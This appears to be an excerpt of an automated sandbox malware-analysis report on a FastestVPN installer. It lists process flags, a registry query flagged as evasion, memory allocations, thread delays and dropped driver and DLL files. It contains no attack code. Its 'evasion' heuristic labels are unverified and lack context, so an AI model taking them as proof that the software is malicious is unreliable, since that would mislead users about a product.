    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\subinacl.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\subinacl.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\regedit.exeProcess information set: NOOPENFILEERRORBOX

    Malware Analysis System Evasion

    barindex
    Queries sensitive system registry key value via command line tool
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg Query "HKLM\Hardware\Description\System\CentralProcessor\0"
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg Query "HKLM\Hardware\Description\System\CentralProcessor\0"
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg Query "HKLM\Hardware\Description\System\CentralProcessor\0" Jump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg Query "HKLM\Hardware\Description\System\CentralProcessor\0" Jump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeMemory allocated: 2410000 memory reserve | memory write watchJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeMemory allocated: 2570000 memory reserve | memory write watchJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeMemory allocated: 4570000 memory reserve | memory write watchJump to behavior
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeMemory allocated: 2650000 memory reserve | memory write watch
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeMemory allocated: 2890000 memory reserve | memory write watch
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeMemory allocated: 26C0000 memory reserve | memory write watch
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeMemory allocated: 3100000 memory reserve | memory write watch
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeMemory allocated: 3350000 memory reserve | memory write watch
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeMemory allocated: 3100000 memory reserve | memory write watch
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeMemory allocated: 13A0000 memory reserve | memory write watch
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeMemory allocated: 15E0000 memory reserve | memory write watch
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeMemory allocated: 36E0000 memory reserve | memory write watch
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A6D4820 SetupDiGetDeviceRegistryPropertyW,GetLastError,SetupDiGetDeviceRegistryPropertyW,10_2_00007FF76A6D4820
    Source: C:\Program Files\FastestVPN\FastestVPN.exeThread delayed: delay time: 922337203685477Jump to behavior
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeThread delayed: delay time: 922337203685477
    Source: C:\Program Files\FastestVPN\FastestVPN.exeWindow / User API: threadDelayed 2253Jump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeWindow / User API: threadDelayed 1485Jump to behavior
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2668
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 627
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeWindow / User API: threadDelayed 602
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-EVBIG.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\driver\windows10\i386\tapinstall.exe (copy)Jump to dropped file
    Source: C:\Windows\System32\drvinst.exeDropped PE file which has not been started: C:\Windows\System32\drivers\SET3E81.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-380D9.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\Microsoft.AspNet.SignalR.Core.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\is-1CJVQ.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\VPN.AdvancedNetwork.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Microsoft.Extensions.DependencyInjection.Abstractions.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-FQ58N.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\Owin.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\tapinstall.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-EMFMT.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\wireguard.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\is-0QDRN.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\is-EDC5Q.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\Microsoft.Owin.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\FastestVPN.Data.Local.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-A6140.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\libssl-1_1-x64.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-U7JPO.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\is-QVG37.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\is-27RBI.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-M4SB1.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\sp\driver\windows8\i386\is-5MIQQ.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Flurl.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\driver\windows\amd64\tap0901.sys (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-8ATR4.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\is-C94HO.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-J1CTU.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-VEH95.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\iphelperclose.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-2MRML.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\System.Buffers.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\VPN.Common.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\sp\driver\windows7\i386\is-U4BRD.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-B33J3.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\iphelperclose.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\is-99CNN.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\SingleInstanceApplication.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-0SJ98.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\is-QC9L9.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\Microsoft.Owin.Hosting.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\System.Web.Cors.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-9GVRJ.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\sp\driver\windows8\i386\fastestvpndriver.sys (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-51N13.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\is-ILF9I.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\libssl32.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\is-R9MSC.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\unins000.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-7IV9U.tmpJump to dropped file
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\{10e48137-304b-b342-bb2b-4260fc9493d4}\tap0901.sys (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\openvpnserv.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\is-IBU7R.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-R5J7J.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\ssleay32.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\driver\windows\amd64\tapinstall.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-G502V.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-8IJ1N.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\FastestVPN.Data.Remote.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\is-CJ7QL.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\is-BHOGA.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\openssl.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-JURBP.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\is-SIFEE.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\is-9QKBR.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\SQLitePCLRaw.batteries_v2.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\driver\windows\i386\tap0901.sys (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\devcon.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\is-R1MP1.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\is-L468K.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\is-FONAV.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\openvpnserv2.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-2UQE3.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\VPN.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-QIAH3.tmpJump to dropped file
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\{10e48137-304b-b342-bb2b-4260fc9493d4}\SET25DB.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Microsoft.AppCenter.Analytics.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\subinacl.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-QKJFC.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-UK0LH.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\is-SURFG.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\VPN.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\tapctl.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\is-8GI77.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\SQLitePCLRaw.provider.dynamic_cdecl.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\is-R18E4.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\liblzo2-2.dll (copy)Jump to dropped file
    Source: C:\Windows\System32\drvinst.exeDropped PE file which has not been started: C:\Windows\System32\DriverStore\Temp\{43f95aeb-a684-864e-83e0-51fb77f3c6ee}\SET28C9.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tap0901.sys (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\is-QHD6A.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-9UKRQ.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-3211D.tmpJump to dropped file
